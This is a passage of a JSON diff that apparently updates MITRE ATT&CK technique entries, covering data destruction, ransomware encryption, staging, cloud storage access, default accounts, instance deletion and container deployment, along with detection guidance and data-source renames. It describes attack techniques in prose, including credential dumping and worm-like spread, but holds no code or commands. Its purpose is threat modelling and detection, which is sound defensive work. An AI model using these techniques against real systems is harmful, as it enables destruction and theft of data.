and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\n\nIn cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)", + "id": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\\Windows\\System32\\.\n\nIn cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity.", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "File: File Modification", + "File: File Deletion", + "Image: Image Deletion", + "Instance: Instance Deletion", + "Snapshot: Snapshot Deletion", + "Cloud Storage: Cloud Storage Deletion", + "Volume: Volume Deletion" + ], + "x_mitre_version": "1.1", "x_mitre_permissions_required": [ "User", "Administrator", "root", "SYSTEM" ], - "x_mitre_version": "1.0", - "x_mitre_data_sources": [ - "File monitoring", - "Process command-line parameters", - "Process monitoring" + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" ], - "x_mitre_detection": "Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\\Windows\\System32\\.", - "x_mitre_impact_type": [ - "Availability" + "x_mitre_is_subtechnique": false, + "x_mitre_contributors": [ + "Brent Murphy, Elastic", + "David French, Elastic", + "Syed Ummar Farooqh, McAfee", + "Prasad Somasamudram, McAfee", + "Sekhar Sarukkai, McAfee ", + "Varonis Threat Labs" ] }, { @@ -7637,10 +8056,7 @@ ], "x_mitre_network_requirements": true, "x_mitre_data_sources": [ - "Packet capture", - "Process use of network", - "Process monitoring", - "Network protocol analysis" + "Network Traffic: Network Traffic Content" ], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "x_mitre_contributors": [ @@ -7675,7 +8091,7 @@ }, { "id": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", - "description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)\n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)", + "description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)\n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)", "name": "Data Encrypted for Impact", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -7706,6 +8122,11 @@ "source_name": "US-CERT SamSam 2018", "url": "https://www.us-cert.gov/ncas/alerts/AA18-337A", "description": "US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019." + }, + { + "source_name": "Rhino S3 Ransomware Part 1", + "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/", + "description": "Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021." } ], "type": "attack-pattern", @@ -7715,23 +8136,29 @@ "phase_name": "impact" } ], - "modified": "2020-10-14T14:52:11.708Z", + "modified": "2021-04-20T16:39:06.594Z", "created": "2019-03-15T13:59:30.390Z", + "x_mitre_contributors": [ + "Oleg Kolesnikov, Securonix" + ], "x_mitre_is_subtechnique": false, "x_mitre_impact_type": [ "Availability" ], - "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.\n\nIn some cases, monitoring for unusual kernel driver installation activity can aid in detection.", + "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.\n\nIn some cases, monitoring for unusual kernel driver installation activity can aid in detection.\n\nIn cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.", "x_mitre_data_sources": [ - "Kernel drivers", - "File monitoring", - "Process command-line parameters", - "Process monitoring" + "Cloud Storage: Cloud Storage Metadata", + "Cloud Storage: Cloud Storage Modification", + "Process: Process Creation", + "Command: Command Execution", + "File: File Modification", + "File: File Creation" ], "x_mitre_platforms": [ "Linux", "macOS", - "Windows" + "Windows", + "IaaS" ], "x_mitre_permissions_required": [ "User", @@ -7739,7 +8166,7 @@ "root", "SYSTEM" ], - "x_mitre_version": "1.0" + "x_mitre_version": "1.1" }, { "external_references": [ @@ -7763,7 +8190,7 @@ "phase_name": "impact" } ], - "modified": "2020-03-28T23:16:20.202Z", + "modified": "2021-04-24T14:04:16.371Z", "created": "2020-03-02T14:19:22.609Z", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": false, @@ -7778,10 +8205,13 @@ ], "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.", "x_mitre_data_sources": [ - "Packet capture", - "Network protocol analysis", - "File monitoring", - "Application logs" + "File: File Metadata", + "Process: OS API Execution", + "File: File Creation", + "File: File Deletion", + "File: File Modification", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" ], "x_mitre_platforms": [ "Linux", @@ -7827,10 +8257,7 @@ "x_mitre_network_requirements": true, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "x_mitre_data_sources": [ - "Packet capture", - "Process use of network", - "Process monitoring", - "Network protocol analysis" + "Network Traffic: Network Traffic Content" ], "x_mitre_version": "1.1" }, @@ -7866,7 +8293,7 @@ "phase_name": "collection" } ], - "modified": "2020-09-14T19:48:08.180Z", + "modified": "2021-03-08T10:33:00.855Z", "created": "2017-05-31T21:30:58.938Z", "x_mitre_is_subtechnique": false, "x_mitre_contributors": [ @@ -7874,20 +8301,18 @@ "Shane Tully, @securitygypsy" ], "x_mitre_platforms": [ - "Linux", - "macOS", "Windows", - "AWS", - "GCP", - "Azure" + "IaaS", + "Linux", + "macOS" ], "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" + "File: File Access", + "File: File Creation", + "Command: Command Execution" ], - "x_mitre_version": "1.2" + "x_mitre_version": "1.3" }, { "id": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", @@ -7927,21 +8352,21 @@ "x_mitre_network_requirements": true, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "x_mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Process monitoring" + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow" ], "x_mitre_version": "1.0" }, { - "id": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", - "description": "Adversaries may access data objects from improperly secured cloud storage.\n\nMany cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019)\n\nMisconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.", - "name": "Data from Cloud Storage Object", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2019-08-30T18:07:27.741Z", + "modified": "2021-03-08T10:33:01.374Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } ], + "type": "attack-pattern", "external_references": [ { "external_id": "T1530", @@ -7979,35 +8404,29 @@ "description": "HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019." } ], - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "collection" - } + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "modified": "2020-07-09T14:02:05.276Z", - "created": "2019-08-30T18:07:27.741Z", - "x_mitre_is_subtechnique": false, - "x_mitre_platforms": [ - "AWS", - "GCP", - "Azure" + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Data from Cloud Storage Object", + "description": "Adversaries may access data objects from improperly secured cloud storage.\n\nMany cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019)\n\nMisconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.", + "id": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", + "x_mitre_permissions_required": [ + "User" ], - "x_mitre_version": "1.0", + "x_mitre_data_sources": [ + "Cloud Storage: Cloud Storage Access" + ], + "x_mitre_detection": "Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.", "x_mitre_contributors": [ "Netskope", "Praetorian" ], - "x_mitre_detection": "Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.", - "x_mitre_data_sources": [ - "Stackdriver logs", - "Azure activity logs", - "AWS CloudTrail logs" + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "IaaS" ], - "x_mitre_permissions_required": [ - "User" - ] + "x_mitre_is_subtechnique": false }, { "external_references": [ @@ -8049,9 +8468,8 @@ "modified": "2020-10-22T02:26:44.566Z", "created": "2020-10-19T23:46:13.931Z", "x_mitre_data_sources": [ - "Netflow/Enclave netflow", - "Network protocol analysis", - "Packet capture" + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" ], "x_mitre_version": "1.0", "x_mitre_is_subtechnique": false, @@ -8095,20 +8513,17 @@ "phase_name": "collection" } ], - "modified": "2020-10-12T12:16:55.085Z", + "modified": "2021-04-14T14:16:12.151Z", "created": "2018-04-18T17:59:24.739Z", "x_mitre_is_subtechnique": false, - "x_mitre_version": "3.0", + "x_mitre_version": "3.1", "x_mitre_contributors": [ "Praetorian", "Milos Stojadinovic" ], "x_mitre_data_sources": [ - "OAuth audit logs", - "Application logs", - "Authentication logs", - "Data loss prevention", - "Third-party application logs" + "Logon Session: Logon Session Creation", + "Application Log: Application Log Content" ], "x_mitre_detection": "As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.", "x_mitre_permissions_required": [ @@ -8119,7 +8534,8 @@ "Windows", "macOS", "SaaS", - "Office 365" + "Office 365", + "Google Workspace" ] }, { @@ -8148,9 +8564,8 @@ "id": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.2", "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" + "File: File Access", + "Command: Command Execution" ], "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_system_requirements": [ @@ -8203,17 +8618,25 @@ ], "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" + "File: File Access", + "Network Share: Network Share Access", + "Command: Command Execution" ], "x_mitre_version": "1.2" }, { - "id": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Data from Removable Media", - "description": "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.", + "created": "2017-05-31T21:30:31.584Z", + "modified": "2020-03-24T15:44:46.584Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "type": "attack-pattern", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -8221,34 +8644,25 @@ "external_id": "T1025" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "description": "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.", + "name": "Data from Removable Media", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "x_mitre_version": "1.1", + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution" ], - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "collection" - } + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "x_mitre_system_requirements": [ + "Privileges to access removable media drive and files" ], - "modified": "2020-03-24T15:44:46.584Z", - "created": "2017-05-31T21:30:31.584Z", - "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], - "x_mitre_system_requirements": [ - "Privileges to access removable media drive and files" - ], - "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", - "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "x_mitre_version": "1.1" + "x_mitre_is_subtechnique": false }, { "created": "2020-03-14T22:24:21.841Z", @@ -8285,11 +8699,8 @@ "Windows" ], "x_mitre_data_sources": [ - "Host network interface", - "Netflow/Enclave netflow", - "Network protocol analysis", - "Packet capture", - "SSL/TLS inspection" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" ], "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)", "x_mitre_permissions_required": [ @@ -8320,27 +8731,25 @@ "phase_name": "impact" } ], - "modified": "2020-04-22T15:19:31.682Z", + "modified": "2021-03-08T10:33:01.150Z", "created": "2019-04-08T17:51:41.390Z", "x_mitre_is_subtechnique": false, - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_platforms": [ - "Linux", - "macOS", "Windows", - "AWS", - "GCP", - "Azure" + "IaaS", + "Linux", + "macOS" ], "x_mitre_impact_type": [ "Integrity" ], "x_mitre_detection": "Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\n\n", "x_mitre_data_sources": [ - "Packet capture", - "Web application firewall logs", - "Web logs", - "Packet capture" + "File: File Modification", + "File: File Creation", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content" ] }, { @@ -8360,10 +8769,20 @@ "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts", "description": "Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019." }, + { + "source_name": "AWS Root User", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html", + "description": "Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021." + }, + { + "source_name": "Threat Matrix for Kubernetes", + "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021." + }, { "source_name": "Metasploit SSH Module", "url": "https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh", - "description": "undefined. (n.d.). Retrieved April 12, 2019." + "description": "Metasploit. (n.d.). Retrieved April 12, 2019." } ], "object_marking_refs": [ @@ -8371,7 +8790,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Default Accounts", - "description": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems or default factory/provider set accounts on other types of systems, software, or devices.(Citation: Microsoft Local Accounts Feb 2019)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)", + "description": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)", "id": "attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d", "type": "attack-pattern", "kill_chain_phases": [ @@ -8392,9 +8811,9 @@ "phase_name": "initial-access" } ], - "modified": "2020-09-16T19:41:43.491Z", + "modified": "2021-04-05T20:14:26.846Z", "created": "2020-03-13T20:15:31.974Z", - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", @@ -8402,21 +8821,19 @@ ], "x_mitre_detection": "Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.", "x_mitre_data_sources": [ - "AWS CloudTrail logs", - "Stackdriver logs", - "Authentication logs", - "Process monitoring" + "User Account: User Account Authentication", + "Logon Session: Logon Session Creation" ], "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", "Linux", "macOS", - "Windows", - "AWS", - "GCP", - "Azure", - "Office 365", - "Azure AD", - "SaaS" + "Google Workspace", + "Containers" ] }, { @@ -8461,24 +8878,19 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-09-14T19:55:23.113Z", + "modified": "2021-03-08T10:33:02.083Z", "created": "2020-06-16T17:23:06.508Z", "x_mitre_detection": "The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the deletion of an instance in the TerminateInstances event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances delete to delete a VM.(Citation: Cloud Audit Logs)", "x_mitre_data_sources": [ - "GCP audit logs", - "Stackdriver logs", - "Azure activity logs", - "AWS CloudTrail logs" + "Instance: Instance Deletion" ], - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ - "AWS", - "GCP", - "Azure" + "IaaS" ] }, { @@ -8527,9 +8939,9 @@ "Red Canary" ], "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "File: File Modification", + "Script: Script Execution" ], "x_mitre_defense_bypassed": [ "Anti-virus", @@ -8547,6 +8959,83 @@ "macOS" ] }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1610", + "url": "https://attack.mitre.org/techniques/T1610" + }, + { + "source_name": "Docker Containers API", + "url": "https://docs.docker.com/engine/api/v1.41/#tag/Container", + "description": "Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021." + }, + { + "source_name": "Kubernetes Dashboard", + "url": "https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/", + "description": "The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021." + }, + { + "source_name": "Kubeflow Pipelines", + "url": "https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/", + "description": "The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021." + }, + { + "source_name": "Aqua Build Images on Hosts", + "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host", + "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Deploy Container", + "description": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download 